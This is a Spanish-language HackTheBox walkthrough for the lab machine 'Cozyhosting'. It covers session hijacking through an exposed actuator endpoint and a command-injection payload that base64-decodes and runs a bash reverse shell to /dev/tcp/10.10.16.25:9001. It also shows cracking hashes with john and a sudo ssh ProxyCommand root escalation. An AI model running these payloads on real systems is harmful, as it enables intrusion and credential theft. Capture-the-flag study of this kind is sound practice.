Entrada

Cozyhosting - WriteUp

Cozyhosting - WriteUp

🎯 Machine Info

Machine Cozyhosting
Platform HTB
OS Linux
Difficulty Easy

Cozyhosting


Máquina Linux

NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
# Nmap 7.94SVN scan initiated Sat Nov 25 12:02:40 2023 as: nmap -sCV -p 22,80 --stylesheet=https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/stable/nmap-bootstrap.xsl -oN targeted -oX targetedXML 10.129.234.48
Nmap scan report for 10.129.234.48
Host is up (0.057s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Virtual Hosting a puntando a “cozyhosting.htb”, actualizamos archivo hosts y seguimos…

HTTP

COZYHOSTING

Login en http://cozyhosting.htb/login

COZYHOSTING

FUZZING

1
$ wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 --hh 12706 -t 500 http://cozyhosting.htb/FUZZ
1
$ dirsearch -u http://cozyhosting.htb

COZYHOSTING

Encuentra lago interesante, vamos a ver qué es:

COZYHOSTING

Entramos en http://cozyhosting.htb/actuator/sessions para echar un vistazo y vemos esto:

COZYHOSTING

Vamos a capturar el login con BurpSuite y usar la cookie del usuario kanderson

COZYHOSTING

O también podemos usarla desde el navegador Firefox:

COZYHOSTING

La cambiamos por la que acabamos de descubrir, pulsamos intro, refrescamos al página y para adentro!

COZYHOSTING

Nos fijamos en la parte baja de la página donde dice esto.

COZYHOSTING

Vamos a capturar la peticiĂłn de nuevo con BurpSuite

COZYHOSTING

Vemos algo interesante en la respuesta, necesitamos saber cómo enviarle un comando de consola remota que ejecutará con “/bin/bash/ -c”

Nos ponemos en escucha para las pruebas:

1
$ nc -nlvp 9001

Y ahora vamos a probar payloads de diferentes formas hasta que demos con la tecla…

Después de hacer varias pruebas y consultar varias webs, encontramos el payload correcto que pondremos en el campo username:

1
;echo${IFS%??}"<payload>"${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash;

Codificaremos la parte de ejecución de comando con base64 que será la parte del comando de siempre que nos envía la shel remota:

1
2
$ echo -n "bash -i >& /dev/tcp/10.10.16.25/9001 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yNS85MDAxIDA+JjE=

Una vez tenemos las dos partes las juntamos en una Ăşnica lĂ­nea y la pegamos en BurpSuite:

1
username=;echo${IFS%??}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yNS85MDAxIDA+JjE="${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash;

Ahora seleccionamos toda la lĂ­nea del payload, botĂłn secundario del ratĂłn Convert selection > URL > URL-encode key characters.

COZYHOSTING

Quedando asĂ­:

%3becho${IFS%25%3f%3f}"YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNi4yNS85MDAxIDA%2bJjE%3d"${IFS%25%3f%3f}|${IFS%25%3f%3f}base64${IFS%25%3f%3f}-d${IFS%25%3f%3f}|${IFS%25%3f%3f}bash%3b

COZYHOSTING

Le damos a “Send”

COZYHOSTING

Estamos dentro, sanitizamos terminal y continuamos.

Usuarios:

COZYHOSTING

Vemos un archivo nada más entrar que nos llama la atención. Como tenemos python en la máquina, levantaremos un servidor HTTP para servir el archivo y traerlo a nuestra máquina:

COZYHOSTING

1
$ wget 10.129.234.48:4444/cloudhosting-0.0.1.jar

COZYHOSTING

Vamos a abrir el archivo .jar con jd-gui para ver qué contiene.

COZYHOSTING

Encontramos unas credenciales para el servidor postgres

1
postgres:Vg&nvzAQ7XxR

Conectamos con las credenciales obtenidas:

1
$ psql -h 127.0.0.1 -U postgres

COZYHOSTING

COZYHOSTING

Tenemos dos hashes. Nos lo copiamos y llamamos a nuestro amigo John de confianza…

1
$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes

COZYHOSTING

Encontramos las credenciales para el usuario admin

1
admin:manchesterunited

Con las credenciales que tenemos vamos a intentar validarlas contra el otro usuario que encontramos, josh:

COZYHOSTING

Y funciona!

Registramos primera bandera y seguimos…

Al poner “sudo -l” vemos esto:

COZYHOSTING

Puede ejecutar con permisos de root sudo. Buscamos en GTFObins https://gtfobins.github.io/gtfobins/ssh/#sudo

Escribimos el comando que nos díce la página y escalamos a root fácilmente.

1
$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

COZYHOSTING

Ăšltima actualizaciĂłn: 2024-09-20
Autor: A. Lorente
Licencia: Creative Commons BY-NC-SA 4.0

Esta entrada está licenciada bajo CC BY 4.0 por el autor.